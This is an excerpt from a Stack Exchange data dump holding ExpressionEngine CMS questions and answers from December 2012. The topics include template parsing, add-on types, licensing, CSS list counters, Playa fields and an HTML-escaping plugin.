  <row Id="1355" PostTypeId="2" ParentId="1347" CreationDate="2012-12-09T01:50:37.163" Score="4" Body="&lt;p&gt;Adrian's approach is certainly correct, but I should also add that I abstracted everything into Channel Data so you can parse things MUCH easier. Take a look at my Channel Data library, it makes a ton of things a lot easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/objectivehtml/Channel-Data&quot; rel=&quot;nofollow&quot;&gt;https://github.com/objectivehtml/Channel-Data&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$string = '{exp:navee:nav nav_title=&quot;main-nav&quot;}';&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;driver('channel_data');&#xA;$parsed_string = $this-&amp;gt;EE-&amp;gt;channel_data-&amp;gt;tmpl-&amp;gt;parse_string($string);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some other methods in the tmpl parser in Channel Data are...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;parse&lt;/li&gt;&#xA;&lt;li&gt;parse_array&lt;/li&gt;&#xA;&lt;li&gt;parse_switch&lt;/li&gt;&#xA;&lt;li&gt;parse_fieldtypes&lt;/li&gt;&#xA;&lt;li&gt;parse_path_variables&lt;/li&gt;&#xA;&lt;li&gt;parse_single_vars&lt;/li&gt;&#xA;&lt;li&gt;parse_var_pairs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of my code is essentially the same as the first party, but it's been refactored so the methods are consistent and easier to work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution is to use Stash&#xA;&lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse}&#xA;    {exp:navee:nav nav_title=&quot;main-nav&quot;}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Obviously this code would parse anyway, but you can late parse any variable with Stash, it's really powerful.)&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-09T01:50:37.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1356" PostTypeId="1" AcceptedAnswerId="1359" CreationDate="2012-12-09T02:38:10.173" Score="1" ViewCount="352" Body="&lt;p&gt;I am creating a selection of additional widgets to be used with the &lt;a href=&quot;http://devot-ee.com/add-ons/widgets&quot; rel=&quot;nofollow&quot;&gt;Widget&lt;/a&gt; addon. The widgets addon detects widgets that are placed into the following directory structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/third_party/your_addon/widgets/widget_name_1&#xA;/third_party/your_addon/widgets/widget_name_2&#xA;/third_party/your_addon/widgets/widget_name_3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot figure out which type of add-on I need to create:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Plugin&lt;/strong&gt; - I do not want to define a custom tag.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Module&lt;/strong&gt; - I do not need to create a user interface in the control panel.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Extension&lt;/strong&gt; - I do not need any hooks.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="536" LastEditorUserId="536" LastEditDate="2012-12-09T16:16:49.663" LastActivityDate="2012-12-09T16:16:49.663" Title="How to create a custom Widget for the Widgets add-on" Tags="|plugin|widget|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1357" PostTypeId="1" CreationDate="2012-12-09T05:30:01.590" Score="4" ViewCount="129" Body="&lt;p&gt;Will I still be able to update to the latest versions of EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anything change?...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will they require me to upgrade to the commercial version of EE to be able to keep using it?&lt;/p&gt;&#xA;" OwnerUserId="569" LastActivityDate="2012-12-09T05:52:56.673" Title="What happens to old Non-Commercial Licenses now that EllisLab doesn't sell these anymore?" Tags="|ee2|license|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1358" PostTypeId="2" ParentId="1357" CreationDate="2012-12-09T05:52:56.673" Score="18" Body="&lt;p&gt;Any existing non-commercial licenses have been automatically upgraded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated in their blog post &lt;a href=&quot;http://ellislab.com/blog/entry/expressionengine-license-simplification&quot;&gt;ExpressionEngine License Simplification&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Previous license types have been upgraded for free. Whether you purchased a Freelancer license at $99.95 or a Non-Commercial license at $149.95, if you look at your existing purchases, you’ll see no differentiation. Your purchase has been grandfathered, and you now have the same download and same license as someone who paid $299.95 for the old Commercial license&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-09T05:52:56.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1359" PostTypeId="2" ParentId="1356" CreationDate="2012-12-09T07:25:27.090" Score="3" Body="&lt;p&gt;You don't need to create a full EE addon (ie an extension, plugin or module) just to add an additional widget type to the Widgets addon. Widgets uses its own very simple format for defining new widgets, and rather than creating a new addon you just add a new directory with your widget's code in the widgets/widget directory ie in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system/expressionengine/third_party/widgets/widget/your_shiny_widget&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each widget basically consists of a PHP class that extends the base &lt;code&gt;Widget&lt;/code&gt; class and a couple of views, one for configuring the widget in the CP and one for displaying it when called in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at &lt;a href=&quot;https://github.com/philsturgeon/ee2-widgets/tree/master/widget/html&quot; rel=&quot;nofollow&quot;&gt;the simplest included widget's code&lt;/a&gt; and if you know  a bit of PHP it should be fairly straightforward to extend it to create your new widget.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-12-09T07:25:27.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1360" PostTypeId="2" ParentId="1262" CreationDate="2012-12-09T08:08:55.107" Score="4" Body="&lt;p&gt;Low is totally correct, but I thought it might be worth adding some info about why this is necessary and how you might  implement his solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason the counters on your &lt;code&gt;&amp;lt;ol&amp;gt;&lt;/code&gt; appear 'off' is that they are automatically generated from the HTML document, which has no awareness of your pagination, so as each page is a new ordered list the first item in the list is numbered '1', no matter what page you are on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My approach to implementing counters in the way you want is to use &lt;code&gt;{absolute_count}&lt;/code&gt; combined with data attributes and CSS pseudo-elements, like so...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li data-count='{absolute_count}'&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;li {&#xA;  list-style: none;&#xA;}&#xA;li:before {&#xA;  content: attr(data-count);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you can still use an &lt;code&gt;&amp;lt;ol&amp;gt;&lt;/code&gt; for semantics but get the counters the way you want them.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-12-09T08:08:55.107" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1361" PostTypeId="1" AcceptedAnswerId="1367" CreationDate="2012-12-09T10:31:12.887" Score="3" ViewCount="102" Body="&lt;p&gt;I'm still learning EE. It seems easy enough to build something like a custom blog: define the fields I want, assign them to a channel, create templates to output the channel entries. Done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But let's say I build a blog feature that I want to keep reusing. Is there a way to &quot;package&quot; what I have already created on one site so that it can be installed on another? Perhaps if this was the goal, I should not have built it using the Channels/Templates/etc CPanel in EE -- instead approach it some other way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some guidance please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a side question: is there a blog addon for EE that's good? It's simple enough to build a basic one, but if someone has already taken the time to give it a lot of thought and do it &quot;properly&quot;, I'd rather use that. I would probably want to update the template files to make it use Twitter Bootstrap if it doesn't already.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2012-12-09T10:37:05.027" LastActivityDate="2012-12-09T19:42:12.877" Title="Possible to &quot;package&quot; a Channel/Template/etc into a module?" Tags="|add-on|add-on-development|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1362" PostTypeId="2" ParentId="1361" CreationDate="2012-12-09T11:59:54.273" Score="3" Body="&lt;p&gt;You could create a base install with a database that includes all the channels, fields and templates that you like to use. Simply export the db from your base install and import it into your new project, and you have a site set up with everything set up the way you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could maybe set up different base installs for different types of sites, e.g. one for a blog, or you could include a blog as a part of a larger base install and then just delete it if you don't need it. It depends on how you like to work and the needs of individual projects.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-12-09T11:59:54.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1363" PostTypeId="1" AcceptedAnswerId="1379" CreationDate="2012-12-09T13:26:06.730" Score="9" ViewCount="392" Body="&lt;p&gt;I'm trying to post/update/delete entries in a channel by posting XML to a URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a module with an action URL that does the processing and uses the Channel Entries API to manage the entries but this requires that I am logged in while I post the data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how can I post the data from a remote server without needing to be logged in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to authenticate a user by IP rather than logging in or emulate a users credentials from within the module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="570" LastActivityDate="2012-12-11T04:17:01.057" Title="Inserting entries from remote posted XML" Tags="|ee2|module|security|xml|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1364" PostTypeId="1" AcceptedAnswerId="1366" CreationDate="2012-12-09T16:16:20.757" Score="4" ViewCount="1154" Body="&lt;p&gt;I would like to create an addon which adds a number of custom RTE formatting buttons to the built-in EE Rich Text editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two issues here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to define the simplest add-on skeleton (&lt;strong&gt;plugin&lt;/strong&gt;, &lt;strong&gt;module&lt;/strong&gt; or &lt;strong&gt;extension&lt;/strong&gt;) to achieve this.&lt;/li&gt;&#xA;&lt;li&gt;How to get the custom buttons to be recognised by the Rich Text module.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Following the official documentation to the word does not appear to do anything. If I create an &lt;strong&gt;extension&lt;/strong&gt; and add a redundant hook (just so that it gets installed) then EE prompts me to install my custom RTE button. It would be nice to avoid the redundant extension hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Rich Text module only appears to detect one of my custom buttons when I use the hook approach.&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-20T03:47:02.643" Title="How to create custom RTE buttons?" Tags="|add-on|add-on-development|rte|richtext|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1365" PostTypeId="2" ParentId="1361" CreationDate="2012-12-09T17:06:25.980" Score="2" Body="&lt;p&gt;There is not a &quot;blog addon&quot; for ExpressionEngine specifically. Blogs are built with the native channels/fields/categories as needed for your specific project. EE is such that you have a blank slate when you start and you build exactly what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could build an EE addon that created your channel, fields, templates, etc with the click of a button if you wanted to replicate over and over. An easier approach would be to so a base install and replicate that for each project as needed.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-09T19:42:12.877" LastActivityDate="2012-12-09T19:42:12.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1366" PostTypeId="2" ParentId="1364" CreationDate="2012-12-09T17:17:47.157" Score="3" Body="&lt;p&gt;This is not a direct answer to your question, but a suggestion for a different approach. If you haven't used &lt;strong&gt;&lt;a href=&quot;http://pixelandtonic.com/wygwam&quot; rel=&quot;nofollow&quot;&gt;WYGWAM from Pixel and Tonic&lt;/a&gt;&lt;/strong&gt;, you may want to take a look. It's a WYSIWYG field type built on CKEditor 3 and is very powerful and easy to customize at the individual for each specific field if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CKEditor configuration options&lt;/strong&gt;:&#xA;&lt;a href=&quot;http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.config.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.config.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tutorial on custom buttons&lt;/strong&gt;:&#xA;&lt;a href=&quot;http://www.voofie.com/content/2/ckeditor-plugin-development/#Buttons&quot; rel=&quot;nofollow&quot;&gt;http://www.voofie.com/content/2/ckeditor-plugin-development/#Buttons&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-09T17:17:47.157" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1367" PostTypeId="2" ParentId="1361" CreationDate="2012-12-09T17:20:53.060" Score="4" Body="&lt;p&gt;Leevie Graham introduced &lt;a href=&quot;http://ee-garage.com/nsm-site-generator&quot; rel=&quot;nofollow&quot;&gt;NSM Site Generator&lt;/a&gt; at EECI 2012 in Leiden. It’s an add-on which lets you build themes or reusable modules/packages including channels, custom fields, categories and statuses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not tried it by myself but &lt;a href=&quot;http://ee-garage.com/&quot; rel=&quot;nofollow&quot;&gt;EE-Garage’s&lt;/a&gt; other add-ons are top-notch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;https://speakerdeck.com/leevigraham/nsm-site-generator-eeci-2012-europe&quot; rel=&quot;nofollow&quot;&gt;Leevie’s slides from EECI 2012 Europe&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="201" LastActivityDate="2012-12-09T17:20:53.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1368" PostTypeId="1" AcceptedAnswerId="1455" CreationDate="2012-12-09T19:37:36.083" Score="3" ViewCount="182" Body="&lt;p&gt;I’m having an issue getting my Playa fields to render properly inside of a &lt;code&gt;{exp:zoo_visitor:details}&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA; channel=&quot;implementation_notes&quot;&#xA; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA; dynamic=&quot;off&quot;&#xA; search:implementation_note_segment=&quot;{embed:segment_entry_id}&quot;&#xA; author_id=&quot;NOT_CURRENT_USER&quot;&#xA;}&#xA;&amp;lt;div class=&quot;implementation-note&quot;&amp;gt;&#xA; &amp;lt;header&amp;gt;&#xA;  {exp:zoo_visitor:details member_id=&quot;{author_id}&quot;}&#xA;   &amp;lt;p&amp;gt;{school}{title}{/school}&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;Classes&amp;lt;/b&amp;gt;: {visitor:member_classes}{class}{title}{/class}, {grade_level:label}{/visitor:member_classes}&amp;lt;/p&amp;gt;&#xA;  {/exp:zoo_visitor:details}&#xA;  &amp;lt;p class=&quot;time&quot;&amp;gt;{entry_date format=&quot;%l, %F %j, %Y at %g:%i %a&quot;}&amp;lt;/p&amp;gt;&#xA; &amp;lt;/header&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The fields &lt;code&gt;{school}&lt;/code&gt; and &lt;code&gt;{class}&lt;/code&gt; are not rendering the title for the Playa children, but rather the title of the current implementation_note channel entry. If I try adding visitor: to the playa field, I get the exact same issue. I can get the data as it’s presented in the field in the db by using &lt;em&gt;just&lt;/em&gt; the field name, but that gives me the usual Playa string of information that is unusable on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is already inside of one embed, I’d really rather not make a separate embed for these children. Am I crazy, and just missing something simple here?&lt;/p&gt;&#xA;" OwnerUserId="34" LastEditorUserId="268" LastEditDate="2012-12-10T03:28:23.650" LastActivityDate="2012-12-11T19:58:49.090" Title="Can’t seem to use Playa fields correctly in Zoo:Visitor Member Details" Tags="|add-on|playa|zoo-visitor|member-details|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1369" PostTypeId="1" AcceptedAnswerId="1370" CreationDate="2012-12-09T19:42:38.200" Score="5" ViewCount="4678" Body="&lt;p&gt;It is commonly useful to escape encode special HTML characters in output to avoid breaking output attributes (among other reasons):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take the following seemingly innocent template snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;{exp:channel:entries channel=&quot;blog&quot;}&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;{title}&amp;lt;/title&amp;gt;&#xA;&#xA;    &amp;lt;meta name=&quot;description&quot; content=&quot;{meta_description}&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will not perform as one might expect when &lt;code&gt;meta_description&lt;/code&gt; contains special characters like double quotes or ampersands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, bad output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;Some Blog Title&amp;lt;/title&amp;gt;&#xA;&#xA;    &amp;lt;meta name=&quot;description&quot; content=&quot;Learn how to program with &quot;Best practices &amp;amp; methods&quot;&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can this be resolved?&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2022-01-27T21:53:23.760" Title="How to escape special HTML characters in output?" Tags="|add-on|templates|channel-entries|add-on-development|tags|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1370" PostTypeId="2" ParentId="1369" CreationDate="2012-12-09T19:42:38.200" Score="7" Body="&lt;p&gt;ExpressionEngine does not appear to provide a way to deal with this scenario out-of-the-box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution would be to create a custom plugin like the following. I have intentionally named this &quot;Utility Functions&quot; because I plan to add additional functionality as needed. But hopefully this will save some time for future readers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$plugin_info       = array(&#xA;    'pi_name'        =&amp;gt; 'Utility Functions',&#xA;    'pi_version'     =&amp;gt; '1.0.0',&#xA;    'pi_author'      =&amp;gt; 'Lea Hayes',&#xA;    'pi_author_url'  =&amp;gt; 'http://leahayes.co.uk',&#xA;    'pi_description' =&amp;gt; 'A selection of utility functions for use in templates.',&#xA;    'pi_usage'       =&amp;gt; util::usage()&#xA;);&#xA;&#xA;class util {&#xA;&#xA;    public function htmlspecialchars() {&#xA;        $this-&amp;gt;EE = &amp;amp;get_instance();&#xA;        return htmlspecialchars($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata);&#xA;    }&#xA;&#xA;    public static function usage() {&#xA;        return '{exp:util:htmlspecialchars}Place unescaped content here...{/exp:util:htmlspecialchars}';&#xA;    }&#xA;&#xA;}&#xA;/* End of file pi.util.php */&#xA;/* Location: ./system/third_party/util/pi.util.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The original template can then be written as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;{exp:channel:entries channel=&quot;blog&quot;}&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;{title}&amp;lt;/title&amp;gt;&#xA;&#xA;    &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:util:htmlspecialchars}{meta_description}{/exp:util:htmlspecialchars}&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Meaning that the output is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;Some Blog Title&amp;lt;/title&amp;gt;&#xA;&#xA;    &amp;lt;meta name=&quot;description&quot; content=&quot;Learn how to program with &amp;amp;quot;Best practices &amp;amp;amp; methods&amp;amp;quot;&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is likely that there are already other add-ons that deal with this, but at least with this approach you can add your own functions as needed.&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-09T19:42:38.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1371" PostTypeId="2" ParentId="1368" CreationDate="2012-12-09T20:17:43.687" Score="0" Body="&lt;p&gt;I don't use Playa very much but don't you have to use the {exp:playa:children} tag?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:playa:children field=&quot;school&quot;}&#xA;    {title}&#xA;  {/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Playa Docs:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://pixelandtonic.com/playa/docs/templates#playa:children&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/playa/docs/templates#playa:children&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you are sure the tags are correct, try adding parse=&quot;inward&quot; parameter to your zoo_visitor or Playa tag.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-09T20:58:15.200" LastActivityDate="2012-12-09T20:58:15.200" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1372" PostTypeId="1" CreationDate="2012-12-10T00:30:40.367" Score="1" ViewCount="236" Body="&lt;p&gt;We currently can successful send the name and email fields to Campaign Monitor by this addon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/CartThrob/addon-mailing_list&quot; rel=&quot;nofollow&quot;&gt;https://github.com/CartThrob/addon-mailing_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By adding this field to our checkout form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; value=&quot;list id goes here&quot; name=&quot;custom_data[campaign_monitor]&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to send custom fields or an other fields to CM aswell?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IE. Fields like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;custom_data[order_gender]&quot; name=&quot;custom_data[order_gender]&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;&quot;&amp;gt;please select&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;m&quot;&amp;gt;Male&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;f&quot;&amp;gt;Female&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; id=&quot;address&quot; name=&quot;address&quot; value=&quot;{address}&quot; placeholder=&quot;Street Address&quot; class=&quot;placeholder&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; id=&quot;custom_data[order_date_of_birth]&quot; name=&quot;custom_data[order_date_of_birth]&quot; value=&quot;{custom_data:order_date_of_birth}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="313" LastActivityDate="2012-12-10T19:04:47.540" Title="How to Send CartThrob Custom Data To Campaign Monitor At Checkout?" Tags="|ee2|cartthrob|email|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1373" PostTypeId="2" ParentId="1315" CreationDate="2012-12-10T00:55:22.690" Score="0" Body="&lt;p&gt;Good answers above, but as an easy first line of defense I also always include a limit in my channel:entries tag--&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way if it does fail it's a bit more graceful.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2012-12-10T00:55:22.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1374" PostTypeId="1" AcceptedAnswerId="1375" CreationDate="2012-12-10T02:56:49.207" Score="4" ViewCount="123" Body="&lt;h2&gt;In Brief&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;How can I convert a file fieldtype back to a text input field containing {filedir}filename?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The long-winded version&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have a file field that I converted from an input field when I was first moving to EE2 and was trying things out.  The input field was just the url of the file on the server, so something like {filedir_11}filename_here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't use any special features of the file fieldtype, and only use the file url as output.  There are other input fields used for file urls in this field group that have not been converted, and for those I can use text expander shortcuts to make my life easier, but for the one that is a file type field I have to mouse around and it slows things down for no benefit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to figure out how to do is convert the file field back into a text input field and make sure that the field contains {filedir}filename.  I'm not shy about running database queries to accomplish this, but I'm not currently familiar enough with how the file fieldtype works to feel confident in trying it, so I'm hoping someone can save me some time.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2012-12-10T03:31:53.013" LastActivityDate="2012-12-10T15:10:48.407" Title="Can I turn a file field back into a text input field?" Tags="|custom-fields|field-conversion|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1375" PostTypeId="2" ParentId="1374" CreationDate="2012-12-10T04:05:55.377" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I convert a file fieldtype back to a text input field containing {filedir}filename?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can actually just edit the custom field in the Control Panel, changing it from File to Text Input, and you're set. There aren't any further steps needed. The custom field will still contain the same data it did when it was a File fieldtype. Content like &lt;code&gt;{filedir_1}some_file_name.jpg&lt;/code&gt; will remain intact in &lt;code&gt;exp_channel_data&lt;/code&gt; after you have changed a field from File to Text Input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always good to backup your database before making a change like this, though.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-12-10T15:10:48.407" LastActivityDate="2012-12-10T15:10:48.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1376" PostTypeId="2" ParentId="1369" CreationDate="2012-12-10T04:54:36.387" Score="8" Body="&lt;p&gt;You can use &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string/user-guide/native_methods#htmlspecialchars&quot;&gt;Ce_string&lt;/a&gt; for this, which is the ultimate swiss army knife.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_str:ing htmlspecialchars=&quot;:CONST:ENT_QUOTES&quot;}&amp;lt;a href='test'&amp;gt;Test&amp;lt;/a&amp;gt;{/exp:ce_str:ing}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-12-10T04:54:36.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
